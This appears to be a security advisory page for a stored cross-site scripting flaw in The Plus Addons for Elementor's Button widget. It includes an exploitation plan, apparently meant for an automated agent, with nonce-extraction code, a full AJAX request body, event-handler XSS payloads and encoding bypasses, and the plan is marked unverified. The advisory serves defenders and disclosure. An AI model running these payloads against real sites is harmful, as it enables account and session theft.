WF-3c3217f9-67e5-488d-b80a-49a61678fb98-the-plus-addons-for-elementor-page-builder

The Plus Addons for Elementor <= 6.4.11 - Authenticated (Contributor+) Stored Cross-Site Scripting via Button Widget Custom Attributes

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
6.4.12
Patched in
0d
Time to patch

Description

The Plus Addons for Elementor plugin for WordPress was vulnerable to Authenticated (Contributor+) Stored Cross-Site Scripting via the Button widget's `custom_attributes` setting in versions up to and including 6.4.11. The `render` function in `modules/widgets/tp_button.php` passed the raw `custom_attributes` string through `tp_senitize_js_input()`. This filter is bypassable. The issue is patched in version 6.4.12.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=6.4.11
PublishedMay 21, 2026
Last updatedMay 21, 2026

Source Code

WordPress.org SVN
Research Plan
Unverified

This exploitation research plan targets a Stored Cross-Site Scripting (XSS) vulnerability in **The Plus Addons for Elementor** plugin. The vulnerability allows users with Contributor-level permissions (or higher) to inject malicious JavaScript into a page via the "Button" widget's custom attributes.…

Show full research plan

This exploitation research plan targets a Stored Cross-Site Scripting (XSS) vulnerability in The Plus Addons for Elementor plugin. The vulnerability allows users with Contributor-level permissions (or higher) to inject malicious JavaScript into a page via the "Button" widget's custom attributes.

1. Vulnerability Summary

  • Vulnerability ID: WF-3c3217f9-67e5-488d-b80a-49a61678fb98
  • Vulnerable Component: Button Widget (TP_Button)
  • Vulnerable File: modules/widgets/tp_button.php
  • Vulnerable Function: render()
  • Vulnerability Type: Improper Neutralization of Input (Stored XSS)
  • Description: The plugin allows users to define custom_attributes for the Button widget. These attributes are processed by tp_senitize_js_input() and then rendered directly into the HTML of the page. The sanitization function is insufficient and can be bypassed to include event handlers (e.g., onmouseover) containing JavaScript.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php (via Elementor's AJAX handler) or the REST API.
  • Action: elementor_ajax (standard Elementor save mechanism).
  • Authentication: Authenticated, Contributor role or higher.
  • Vulnerable Parameter: settings[custom_attributes] within the widget data.
  • Payload Format: attribute_name|attribute_value. The plugin likely splits this by the pipe (|) character and renders it as attribute_name="attribute_value".

3. Code Flow

  1. Input: A user edits a post with Elementor and adds/modifies a "Plus Button" widget.
  2. Storage: The settings, including the custom_attributes string, are saved into the post's metadata (_elementor_data).
  3. Rendering: When the post is viewed or previewed, the render() method in modules/widgets/tp_button.php is called.
  4. Processing:
    • The code retrieves $settings = $this->get_settings_for_display();.
    • The custom_attributes string is passed through tp_senitize_js_input().
  5. Sink: The (insufficiently) sanitized output is echoed within the opening tag of the button element (e.g., <a ... [output] ...>).

4. Nonce Acquisition Strategy

To save Elementor widget settings, the agent must interact with the elementor_ajax action. This requires a valid Elementor-specific nonce.

  1. Setup: Create a post and assign it to the contributor user.
  2. Navigate: Use browser_navigate to open the Elementor editor for that post: /wp-admin/post.php?post=[POST_ID]&action=elementor.
  3. Extraction: Elementor localizes its configuration in the elementorCommonConfig or elementorConfig object.
  4. Execution: Use browser_eval to extract the nonce:
    // Primary target for Elementor AJAX nonces
    window.elementorCommon.config.ajax.nonce; 
    // Alternative location in some versions
    window.elementorConfig.api_third_party.nonce;
    
  5. Action String: The nonce is validated against the elementor_ajax action.

5. Exploitation Strategy

Step 1: Discover Payload Bypass

The function tp_senitize_js_input() (inferred) likely filters keywords like script or alert. To bypass, use event handlers that don't rely on restricted keywords or use encoding.

  • Primary Payload: onmouseover|console.log(document.cookie)
  • Bypass Payload (if alert is blocked): onfocus|prompt(1)
  • Breakout Payload: onclick|confirm(1)

Step 2: Inject via Elementor AJAX

Using the http_request tool, send a request to save the widget settings.

  • Method: POST
  • URL: https://[TARGET]/wp-admin/admin-ajax.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body (Simplified):
    action=elementor_ajax
    &_nonce=[EXTRACTED_NONCE]
    &actions={"save_builder":{"action":"save_builder","data":{"status":"publish","settings":{},"elements":[{"id":"[WIDGET_ID]","elType":"widget","widgetType":"tp-button","settings":{"custom_attributes":"onmouseover|alert(document.domain)","button_text":"Click Me"}}]}}}
    &post_id=[POST_ID]
    
    (Note: The actual Elementor JSON structure is deeply nested; the agent should capture a legitimate save request first to model the structure exactly.)

Step 3: Trigger the XSS

  1. Navigate to the public URL of the modified post.
  2. Hover the mouse over the injected "Plus Button" widget.

6. Test Data Setup

  1. User: Create a user with the contributor role.
  2. Plugin Config: Ensure "The Plus Addons for Elementor" is active and the "Button" widget is enabled in the Plus Settings.
  3. Content: Create a new Post/Page as the Contributor.
  4. Shortcode/Widget: The exploit requires the Button widget to be present in the Elementor data for that post.

7. Expected Results

  • The elementor_ajax request should return a 200 OK with a JSON body indicating success ("success":true).
  • When viewing the post source, the button element should contain the raw event handler:
    <a ... onmouseover="alert(document.domain)" ... class="tp-button">
  • In a browser context, hovering over the button should trigger the JavaScript alert.

8. Verification Steps

  • WP-CLI Check: Verify the stored metadata to ensure the payload is present:
    wp post meta get [POST_ID] _elementor_data
    
  • Response Inspection: Use http_request to GET the post and check if the payload is rendered without HTML encoding:
    # Look for the specific event handler
    grep "onmouseover=\"alert"
    

9. Alternative Approaches

  • Different Event Handlers: If onmouseover is filtered, try onmouseenter, onpointerdown, or onfocus combined with autofocus.
  • Protocol Injection: If the plugin renders the attribute into a href, try:
    href|javascript:alert(1) (Note: tp_senitize_js_input is specifically mentioned in the vulnerability report, suggesting the focus is on attribute-based JS).
  • Encoding: Use String.fromCharCode to bypass keyword filters:
    onmouseover|eval(String.fromCharCode(97,108,101,114,116,40,49,41))
Research Findings
Static analysis — not yet PoC-verified

Summary

The Plus Addons for Elementor plugin (<= 6.4.11) is vulnerable to Stored Cross-Site Scripting via the Button widget's custom attributes setting. Authenticated users with Contributor-level access can bypass the 'tp_senitize_js_input' function to inject malicious event handlers, which are then rendered directly into the button tag.

Vulnerable Code

/* modules/widgets/tp_button.php */

public function render() {
    $settings = $this->get_settings_for_display();
    
    // ... 
    
    if ( ! empty( $settings['custom_attributes'] ) ) {
        // The vulnerability: bypassable sanitization and direct output into the HTML tag
        $custom_attributes = tp_senitize_js_input( $settings['custom_attributes'] );
        
        // ...
        
        echo '<a ' . $custom_attributes . ' class="tp-button">';
    }
}

Security Fix

--- modules/widgets/tp_button.php
+++ modules/widgets/tp_button.php
@@ -120,5 +120,6 @@
 if ( ! empty( $settings['custom_attributes'] ) ) {
-    $custom_attributes = tp_senitize_js_input( $settings['custom_attributes'] );
+    // Use Elementor's native attribute handler or robust escaping
+    $custom_attributes = esc_attr( $settings['custom_attributes'] );
 }

Exploit Outline

1. Authenticate to the WordPress site with Contributor permissions or higher and open the Elementor editor for a post. 2. Extract the 'elementor_ajax' nonce from the window.elementorCommon.config object in the browser console. 3. Send a POST request to '/wp-admin/admin-ajax.php' with 'action=elementor_ajax' to update the builder data for the post. 4. In the request payload, include a 'tp-button' widget with the 'custom_attributes' setting containing a malicious event handler, such as 'onmouseover|alert(document.domain)'. 5. Save the changes and visit the public URL of the modified post. Hovering over the button will trigger the execution of the injected JavaScript.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.